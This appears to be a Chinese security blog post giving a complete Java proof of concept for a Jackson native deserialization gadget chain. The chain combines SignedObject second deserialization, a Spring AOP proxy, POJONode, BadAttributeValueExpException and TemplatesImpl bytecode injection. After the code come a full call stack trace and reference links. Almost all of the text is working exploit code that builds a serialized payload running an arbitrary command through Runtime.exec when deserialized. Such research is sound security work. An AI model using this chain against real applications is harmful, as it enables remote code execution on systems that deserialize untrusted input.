最终POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 package SerializeChains.JacksonSer;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.*;import org.springframework.aop.framework.AdvisedSupport;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;public class SignedObject_POC { public static void main (String[] args) throws Exception { overrideJackson(); TemplatesImpl templates = (TemplatesImpl) initEvilTemplates(); Object proxy = getPOJONodeStableProxy(templates); POJONode pojoNode = new POJONode (proxy); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); setFieldValue(badAttributeValueExpException,"val" ,pojoNode); SignedObject signedObject = second_serialize(badAttributeValueExpException); POJONode pojoNode2 = new POJONode (signedObject); BadAttributeValueExpException badAttributeValueExpException2 = new BadAttributeValueExpException (null ); setFieldValue(badAttributeValueExpException2,"val" ,pojoNode2); serialize(badAttributeValueExpException2); unserialize("jacksonSerialize03.txt" ); } public static SignedObject second_serialize (Object o) throws Exception { KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject ((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA" )); return signedObject; } public static Object getPOJONodeStableProxy (Object templatesImpl) throws Exception{ Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true ); AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templatesImpl); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class []{Templates.class}, handler); return proxyObj; } public static void overrideJackson () throws NotFoundException, CannotCompileException, IOException { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace" ); ctClass.removeMethod(writeReplace); ctClass.toClass(); } public static TemplatesImpl initEvilTemplates () throws Exception{ TemplatesImpl templates = new TemplatesImpl (); byte [] bytes = getshortclass("calc" ); byte [][] codes = {bytes}; setFieldValue(templates, "_bytecodes" , codes); setFieldValue(templates,"_name" ,"a" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); return templates; } public static void setFieldValue (Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{ Class c = object.getClass(); Field field = c.getDeclaredField(field_name); field.setAccessible(true ); field.set(object, field_value); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("jacksonSerialize03.txt" )); oos.writeObject(object); oos.close(); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } public static byte [] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"" +cmd+"\");" ); clazz.addConstructor(constructor); byte [] bytes = clazz.toBytecode(); return bytes; } }
函数调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 access$000 :56 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) run:401 , TemplatesImpl$1 (com.sun.org.apache.xalan.internal.xsltc.trax) doPrivileged:-1 , AccessController (java.security) defineTransletClasses:399 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getTransletInstance:451 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getOutputProperties:507 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeJoinpointUsingReflection:344 , AopUtils (org.springframework.aop.support) invoke:208 , JdkDynamicAopProxy (org.springframework.aop.framework) getOutputProperties:-1 , $Proxy0 (com.sun.proxy) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) serializeAsField:689 , BeanPropertyWriter (com.fasterxml.jackson.databind.ser) serializeFields:774 , BeanSerializerBase (com.fasterxml.jackson.databind.ser.std) serialize:178 , BeanSerializer (com.fasterxml.jackson.databind.ser) defaultSerializeValue:1142 , SerializerProvider (com.fasterxml.jackson.databind) serialize:115 , POJONode (com.fasterxml.jackson.databind.node) serialize:39 , SerializableSerializer (com.fasterxml.jackson.databind.ser.std) serialize:20 , SerializableSerializer (com.fasterxml.jackson.databind.ser.std) _serialize:480 , DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) serializeValue:319 , DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) serialize:1518 , ObjectWriter$Prefetch (com.fasterxml.jackson.databind) _writeValueAndClose:1219 , ObjectWriter (com.fasterxml.jackson.databind) writeValueAsString:1086 , ObjectWriter (com.fasterxml.jackson.databind) nodeToString:30 , InternalNodeMapper (com.fasterxml.jackson.databind.node) toString:136 , BaseJsonNode (com.fasterxml.jackson.databind.node) readObject:86 , BadAttributeValueExpException (javax.management) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) getObject:180 , SignedObject (java.security) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) serializeAsField:689 , BeanPropertyWriter (com.fasterxml.jackson.databind.ser) serializeFields:774 , BeanSerializerBase (com.fasterxml.jackson.databind.ser.std) serialize:178 , BeanSerializer (com.fasterxml.jackson.databind.ser) defaultSerializeValue:1142 , SerializerProvider (com.fasterxml.jackson.databind) serialize:115 , POJONode (com.fasterxml.jackson.databind.node) serialize:39 , SerializableSerializer (com.fasterxml.jackson.databind.ser.std) serialize:20 , SerializableSerializer (com.fasterxml.jackson.databind.ser.std) _serialize:480 , DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) serializeValue:319 , DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) serialize:1518 , ObjectWriter$Prefetch (com.fasterxml.jackson.databind) _writeValueAndClose:1219 , ObjectWriter (com.fasterxml.jackson.databind) writeValueAsString:1086 , ObjectWriter (com.fasterxml.jackson.databind) nodeToString:30 , InternalNodeMapper (com.fasterxml.jackson.databind.node) toString:136 , BaseJsonNode (com.fasterxml.jackson.databind.node) readObject:86 , BadAttributeValueExpException (javax.management) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) unserialize:98 , SignedObject_POC (SerializeChains.JacksonSer) main:45 , SignedObject_POC (SerializeChains.JacksonSer)
参考文章:
https://infernity.top/2025/03/05/Jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
https://xz.aliyun.com/news/12292